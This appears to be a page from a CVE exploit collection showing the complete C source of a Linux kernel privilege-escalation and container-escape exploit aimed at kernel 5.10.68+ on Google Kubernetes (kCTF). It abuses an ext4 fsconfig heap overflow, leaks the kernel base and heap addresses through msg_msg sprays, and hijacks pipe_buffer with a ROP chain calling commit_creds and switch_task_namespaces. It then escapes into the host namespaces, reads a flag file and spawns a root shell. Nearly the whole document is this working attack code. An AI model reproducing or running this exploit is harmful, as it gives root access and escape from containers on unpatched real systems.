4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit_kctf.c C
#define _GNU_SOURCE
#include <stdbool.h>
#include <sys/mman.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <pthread.h>
#include <stdint.h>

#include "util.h"

// 5.10.68+, spray targeted on Google Kubernetes
#define H_SPRAY 7    
#define K_SPRAY 6
#define P_SPRAY 6
#define PIPES 50
#define ROP_SPRAY 0x100
#define SPRAY_32 100
#define SPRAY_512 0x100
#define SPRAY_1k 80
#define SPRAY_4K 0x1000

//mov rsp, rax ; pop rbp ; ret; 0xffffffff81065879
uint64_t stack_pivot = 0xffffffff8106ed69ull - 0xffffffff81000000ull; 
uint64_t ud2 = 0xffffffff8104160full - 0xffffffff81000000ull;
uint64_t commit_creds = 0xffffffff810b21a0ull - 0xffffffff81000000ull;
uint64_t prepare_kernel_cred = 0xffffffff810b2590ull - 0xffffffff81000000ull;
uint64_t switch_task_namespaces = 0xffffffff810b0110ull - 0xffffffff81000000ull;
uint64_t find_task_by_vpid = 0xffffffff810a7f20ull - 0xffffffff81000000ull;
uint64_t init_nsproxy = 0xffffffff82657420ull - 0xffffffff81000000ull;
uint64_t kpti_trampoline = 0xffffffff81c00e90ull + 0x16 - 0xffffffff81000000ull;
//: pop rdi ; ret  ;
uint64_t pop_rdi = 0xffffffff81076950ull - 0xffffffff81000000ull; 
//: pop rsi ; ret  ;
uint64_t pop_rsi = 0xffffffff81048fadull - 0xffffffff81000000ull;
//: test esi, esi ; cmovne rdi, rax ; mov rax, qword [rdi] ; pop rbp ; ret  ;
uint64_t cmov_rdi_rax_esi_nz_pop_rbp = 0xffffffff81674342ull - 0xffffffff81000000ull;

typedef struct
{
    uint64_t kmalloc_1024_leak;
    uint64_t kmalloc_512_leak;
}double_heap_leaks;

int fd = 0;

int pipefd[PIPES][2];

int spray_512_qid[0x10000] = {0};

int rop_msg_qid[ROP_SPRAY];

int spray_4k_qid[0x10000] = {0}; // useful to dump later
int spray_4k_count = 0;
int spray_4k_used = 0;

void debug() 
{
    puts("Paused...");
    getchar();
}

void deplete_512()
{
    char buffer[0x2000] = {0}, recieved[0x2000] = {0};
    msg *message = (msg *)buffer;
    int size = 0x1000;
    for (int i = 0; i < SPRAY_512; i++)
    {
        get_msg(spray_512_qid[i], recieved, 0x200 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR);
    }
    return;
}

void spray_512()
{
    char buffer[0x2000] = {0}, recieved[0x2000] = {0};
    msg *message = (msg *)buffer;
    int size = 0x1000;
    memset(buffer, 0x41, sizeof(buffer));
    for (int i = 0; i < SPRAY_512; i++)
    {
        int spray = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
        send_msg(spray, message, 0x200 - 0x30, 0);
        spray_512_qid[i] = spray;
    }
    return;
}

void stuff_4k(int count)
{
    char recieved[0x2000] = {0};
    for (int i = 0; i < count; i++)
    {
        if (spray_4k_used == spray_4k_count)
        {
            puts("nothing more left to help");
            exit(-1);
        }
        get_msg(spray_4k_qid[spray_4k_used++], recieved, 0x1000 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR);
    }
    return;
}

void deplete_4k()
{
    char recieved[0x2000] = {0};
    while (spray_4k_used != spray_4k_count)
    {
        get_msg(spray_4k_qid[spray_4k_used++], recieved, 0x1000-0x30, 0, IPC_NOWAIT | MSG_NOERROR);
    }
    spray_4k_used = 0;
    spray_4k_count = 0;
    return;
}

void spray_4k()
{
    char buffer[0x2000] = {0}, recieved[0x2000] = {0};
    msg *message = (msg *)buffer;
    int size = 0x1000;

    memset(buffer, 0x41, sizeof(buffer));
    for (int i = 0; i < SPRAY_4K; i++)
    {
        int spray = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
        send_msg(spray, message, size - 0x30, 0);
        spray_4k_qid[spray_4k_count++] = spray;
    }
    return;
}

void generic_spray(uint64_t size, uint64_t count)
{
    char buffer[0x2000] = {0}, recieved[0x2000] = {0};
    msg *message = (msg *)buffer;

    memset(buffer, 0x41, sizeof(buffer));
    for (int i = 0; i < count; i++)
    {
        int spray = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
        send_msg(spray, message, size - 0x30, 0);
    }
    return;
}

uint64_t do_check_leak(char *buf) 
{
    uint64_t kbase = (((unsigned long*)buf)[510] - 0x30e700)&0xffffffffffffff00;
    if (kbase & 0x1fffff || (void*)kbase == NULL || (kbase & (0xfffffful << 40)) != ((0xfffffful << 40))) 
    { 
        return 0;
    }
    return kbase;
}

uint64_t do_kaslr_leak () 
{
    uint64_t kbase = 0;
    char pat[0x1000] = {0};
    char buffer[0x2000] = {0}, recieved[0x2000] = {0};
    msg *message = (msg *)buffer;
    int size = 0x1018;

    int targets[K_SPRAY] = {0};
    int i;
    for (i = 0; i < K_SPRAY; i++) 
    {
        memset(buffer, 0x41+i, sizeof(buffer));
        targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
        send_msg(targets[i], message, size - 0x30, 0);
    }

    puts("[*] Spraying kmalloc-32");
    int kmalloc_32_fd[SPRAY_32];
    for (int i = 0; i < SPRAY_32; i++) 
    {
        kmalloc_32_fd[i] = open("/proc/self/stat", O_RDONLY);
    }

    // trigger hole hopefully
    get_msg(targets[0], recieved, size - 0x30, 0, MSG_NOERROR | IPC_NOWAIT | MSG_COPY);

    memset(pat, 0x42, sizeof(pat));
    pat[sizeof(pat)-1] = '\x00';
    puts("[*] Opening ext4 filesystem");

    fd = fsopen("ext4", 0);
    if (fd < 0) 
    {
        puts("fsopen: Remember to unshare");
        exit(-1);
    }

    puts("[*] Overflowing...");
    strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
    for (int i = 0; i < 117; i++) 
    {
        fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    }

    // free some
    stuff_4k(16);

    // overflow to tamper size for OOB read
    pat[21] = '\x00';
    char evil[] = "\x60\x10";
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0);
    puts("[*] Done heap overflow");

    size = 0x1060;
    puts("[*] Checking for kernel leaks");

    // go through all targets qids and check if we get a leak
    for (int i = 0; i < K_SPRAY; i++) 
    {
        get_msg(targets[i], recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
        kbase = do_check_leak(recieved);
        if (kbase) 
        {
            return kbase;
        }
    }

    puts("[X] No leaks, trying again");
    // free some and cleanup
    close(fd);
    stuff_4k(16);
    for (int i = 0; i < SPRAY_32; i++) 
    {
        close(kmalloc_32_fd[i]);
    }
    return 0;
}

double_heap_leaks do_heap_leaks()
{
    uint64_t kmalloc_1024 = 0;
    uint64_t kmalloc_512 = 0;
    char pivot_spray[0x2000] = {0};
    uint64_t *pivot_spray_ptr = (uint64_t *)pivot_spray;
    double_heap_leaks leaks = {0};
    int linked_msg[256] = {0};
    char pat[0x1000] = {0};
    char buffer[0x2000] = {0}, recieved[0x2000] = {0};
    msg *message = (msg *)buffer;

    // spray kmalloc-512 linked to kmalloc-64 linked to kmalloc-1024 in unique msg queues
    for (int i = 0; i < 255; i++) 
    {
        linked_msg[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
        memset(pivot_spray, 0x0, sizeof(pivot_spray));
        pivot_spray_ptr[0] = 1;
        for (int i = 0; i < 10;i ++)
        {
            pivot_spray_ptr[i+1] = stack_pivot;
        }

        // spray pivots using kmalloc-512 allocations
        send_msg(linked_msg[i], pivot_spray, 0x200 - 0x30, 0);
        memset(buffer, 0x1+i, sizeof(buffer));
        message->mtype = 2;
        send_msg(linked_msg[i], message, 0x40 - 0x30, 0);
        message->mtype = 3;
        send_msg(linked_msg[i], message, 0x400 - 0x30 - 0x40, 0);
    }

    int size = 0x1038;
    int targets[H_SPRAY] = {0};

    for (int i = 0; i < H_SPRAY; i++) 
    {
        memset(buffer, 0x41+i, sizeof(buffer));
        targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
        send_msg(targets[i], message, size - 0x30, 0);
    }

    // create hole hopefully
    get_msg(targets[0], recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);

    puts("[*] Opening ext4 filesystem");
    fd = fsopen("ext4", 0);
    if (fd < 0) 
    {
        puts("fsopen: Remember to unshare");
        exit(-1);
    }

    strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
    for (int i = 0; i < 117; i++) 
    {
        fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    }

    // fill it a bit to help prevent potential crashes on MSG_COPY
    stuff_4k(16);

    puts("[*] Overflowing...");
    pat[21] = '\x00';
    char evil[] = "\x60\x19";
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0);
    puts("[*] Done heap overflow");

    size = 0x1960;
    puts("[*] Receiving corrupted size and leak data");
    // go through all targets qids and check if we hopefully get a leak
    for (int i = 0; i < H_SPRAY; i++) 
    {
        get_msg(targets[i], recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
        for (int j = 0x202; j < 0x202 + (0x1960-0x1010) / 8; j++)
        {
            uint64_t *dump = (uint64_t *)recieved;
            if (dump[j] == 0x2 && dump[j+1] == 0x10 && dump[j+4] == dump[j+5])
            {
                kmalloc_1024 = dump[j-2];
                kmalloc_512 = dump[j-1];

                // delete chunk 1024, chunk 512 already has sprayed pivots
                uint8_t target_idx = (dump[j+4] & 0xff) - 1;

                get_msg(linked_msg[target_idx], recieved, 0x400 - 0x30, 3, IPC_NOWAIT | MSG_NOERROR);

                // spray to replace with pipe_buffer, thanks LIFO!
                for (int k = 0; k < PIPES; k++)
                {
                    if (pipe(pipefd[k]) < 0)
                    {
                        perror("pipe failed");
                        exit(-1);
                    }
                    write(pipefd[k][1], "pwnage", 7);
                }
                break;
            }
        }
        if (kmalloc_1024 != 0)
        {
            break;
        }
    }
    close(fd);

    if (!kmalloc_1024)
    {
        puts("[X] No leaks, trying again");
        stuff_4k(16);
        return leaks;
    }
    leaks.kmalloc_1024_leak = kmalloc_1024;
    leaks.kmalloc_512_leak = kmalloc_512;
    return leaks;
}


void dump_flag()
{
    char buf[200] = {0};
    for (int i = 0; i < 4194304; i++) 
    {
        // bruteforce root namespace pid equivalent of the other container's sleep process
        snprintf(buf, sizeof(buf), "/proc/%d/root/flag/flag", i);
        int fd = open(buf, O_RDONLY);
        if (fd < 0) 
        {
            continue;
        }
        puts("🎲🎲🎲🎲🎲🎲🎲🎲🎲🎲");
        read(fd, buf, 100);
        write(1, buf, 100);
        puts("🎲🎲🎲🎲🎲🎲🎲🎲🎲🎲");
        close(fd);
    }
    return;
}

__attribute__((naked)) win()
{
    // thanks movaps sooooooo much
    asm volatile(
        "mov rbp, rsp;"
        "and rsp, -0xf;"
        "call dump_flag;"
        "mov rsp, rbp;"
        "ret;");
}

void pwned()
{
    write(1, "ROOOOOOOOOOOT\n", 14);
    setns(open("/proc/1/ns/mnt", O_RDONLY), 0);
    setns(open("/proc/1/ns/pid", O_RDONLY), 0);
    setns(open("/proc/1/ns/net", O_RDONLY), 0);
    win();
    char *args[] = {"/bin/sh", NULL};
    execve("/bin/sh", args, NULL);
    _exit(0);
}

void do_win(uint64_t kmalloc_512, uint64_t kmalloc_1024) 
{
    int size = 0x1000;
    int target = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
    char buffer[0x2000] = {0}, recieved[0x2000] = {0};
    char pat[0x40] = {0};
    msg* message = (msg*)buffer;
    memset(buffer, 0x44, sizeof(buffer));
    int ready = 0;
    int ignition_target = -1;

    // doesn't matter as long as valid pointers
    uint64_t next_target = kmalloc_1024 + 0x440;
    uint64_t prev_target = kmalloc_512 + 0x440;

    // set up arb free primitive, avoid tripping hardened usercopy when re-alloc with msg_msg
    uint64_t free_target = kmalloc_1024 - 0x20;
    uint64_t make_sec_happy = kmalloc_512 - 0x20;

    stuff_4k(16);

    int targets[P_SPRAY] = {0};

    while (!ready)
    {
        for (int i = 0; i < P_SPRAY; i++) 
        {
            memset(buffer, 0x41+i, sizeof(buffer));
            targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
            send_msg(targets[i], message, size - 0x30, 0);
        }

        get_msg(targets[0], recieved, size-0x30, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY);

        // misaligned arb free attack
        fd = fsopen("ext4", 0);
        if (fd < 0) 
        {
                puts("Opening");
                exit(-1);
        }

        strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
        for (int i = 0; i < 117; i++) {
            fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
        }
        puts("[*] Done heap overflow");

        char evil[0x40] = {0};
        uint64_t *evil_ptr = (uint64_t *)evil;
        memset(evil, 0x41, 0x30);
        evil_ptr[0] = next_target;
        evil_ptr[1] = prev_target;
        evil_ptr[4] = free_target;
        evil_ptr[5] = make_sec_happy;

         // in case null bytes in addresses
        if(strlen(evil) != 0x30)
        {
            puts("unable to continue given heap addresses");
            exit(-1);
        }

        puts("[*] Overflowing...");
        fsconfig(fd, FSCONFIG_SET_STRING, evil, "\x00", 0);
        puts("check heap to check preparedness for ignition");

        stuff_4k(16);

        for (int i = 0; i < P_SPRAY; i++)
        {
            memset(recieved, 0, sizeof(recieved));
            // rely on error code to determine if we have found our target which we overflowed into
            int ret = get_msg_no_err(targets[i], recieved, size+0x50-0x30, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
            if (ret < 0)
            {
                ready = 1;
                ignition_target = i;
                break;
            }
        }

        if (!ready)
        {
            puts("nothing ready for ignition, trying again");
            // re-stuff freelist and stabilize
            stuff_4k(16);
        }
    }

    char overwrite[0x300] = {0};
    memset(overwrite, 0x41, sizeof(overwrite));
    uint64_t *overwrite_ptr = (uint64_t *)overwrite;

    // redirect to "table" of stack pivots
    overwrite_ptr[1] = kmalloc_512 + 0x50;

    uint64_t user_rflags, user_cs, user_ss, user_sp;
    asm volatile(
        "mov %0, %%cs\n"
        "mov %1, %%ss\n"
        "mov %2, %%rsp\n"
        "pushfq\n"
        "pop %3\n"
        : "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags)
    );

    uint64_t chain[] = 
    {
        pop_rdi,
        0,
        prepare_kernel_cred,
        pop_rsi,
        0xbaadbabe,
        cmov_rdi_rax_esi_nz_pop_rbp,
        0xdeadbeef,
        commit_creds,
        pop_rdi,
        1,
        find_task_by_vpid,
        pop_rsi,
        0xbaadbabe,
        cmov_rdi_rax_esi_nz_pop_rbp,
        0xdeadbeef,
        pop_rsi,
        init_nsproxy,
        switch_task_namespaces,
        kpti_trampoline,
        0xdeadbeef,
        0xbaadf00d,
        (uint64_t)pwned,
        user_cs,
        user_rflags,
        user_sp & 0xffffffffffffff00,
        user_ss,
    };

    memcpy(&overwrite_ptr[2], chain, sizeof(chain));

    for (int i = 0; i < P_SPRAY; i++)
    {
        get_msg(targets[i], recieved, size-0x30, 0, IPC_NOWAIT | MSG_NOERROR);
    }

    // spray rop chain plus evil vtable ptr to overlap with pipe_buffer
    for (int i = 0; i < ROP_SPRAY; i++)
    {
        send_msg(rop_msg_qid[i], overwrite, 0x300 - 0x30, 0);
    }

    deplete_512();
    deplete_4k();
    puts("[*] Attempt at igniting ROP!");

    // trigger
    for (int i = 0; i < PIPES; i++)
    {
        close(pipefd[i][0]);
        close(pipefd[i][1]);
    }

}

void unshare_setup(uid_t uid, gid_t gid)
{
    int temp;
    char edit[0x100];
    unshare(CLONE_NEWNS|CLONE_NEWUSER);
    temp = open("/proc/self/setgroups", O_WRONLY);
    write(temp, "deny", strlen("deny"));
    close(temp);
    temp = open("/proc/self/uid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", uid);
    write(temp, edit, strlen(edit));
    close(temp);
    temp = open("/proc/self/gid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", gid);
    write(temp, edit, strlen(edit));
    close(temp);
    return;
}

int main(int argc, char **argv, char **envp) 
{
    unshare_setup(getuid(), getgid());

    cpu_set_t my_set;      
    CPU_ZERO(&my_set);      
    CPU_SET(0, &my_set);     
    sched_setaffinity(0, sizeof(cpu_set_t), &my_set);

    // initalize queues to spam rop payload later
    for (int i = 0; i < ROP_SPRAY; i++)
    {
        rop_msg_qid[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
    }

    // pregenerate a lot
    spray_4k();

    // kbase leak
    uint64_t kbase = 0;
    while(!kbase)
    {
        kbase = do_kaslr_leak();
    }

    stack_pivot += (uint64_t)(kbase);
    ud2 += (uint64_t)(kbase);
    commit_creds += (uint64_t)(kbase);
    prepare_kernel_cred += (uint64_t)(kbase);
    switch_task_namespaces += (uint64_t)(kbase);
    find_task_by_vpid += (uint64_t)(kbase);
    init_nsproxy += (uint64_t)(kbase);
    kpti_trampoline += (uint64_t)(kbase);
    pop_rdi += (uint64_t)(kbase);
    pop_rsi += (uint64_t)(kbase);
    cmov_rdi_rax_esi_nz_pop_rbp += (uint64_t)(kbase);

    printf("[*] kbase: %p\n", kbase);

    // pre heap leak setup
    stuff_4k(16);
    spray_512();
    generic_spray(1024, SPRAY_1k);

    // kmalloc-1024 leak and kmalloc-512 leak
    uint64_t kmalloc_1024 = 0;
    uint64_t kmalloc_512 = 0;
    double_heap_leaks leaks = {0};

    while (!kmalloc_1024)
    {
        leaks = do_heap_leaks();
        kmalloc_1024 = leaks.kmalloc_1024_leak;
        kmalloc_512 = leaks.kmalloc_512_leak;
    }

    printf("[*] kmalloc 1024 chunk: 0x%llx\n", kmalloc_1024);
    printf("[*] kmalloc 512 chunk: 0x%llx\n", kmalloc_512);

    deplete_4k();
    spray_4k();

    // try to pwn
    do_win(kmalloc_512, kmalloc_1024);
    puts("[*] exploit failed :(");
    return 0;
}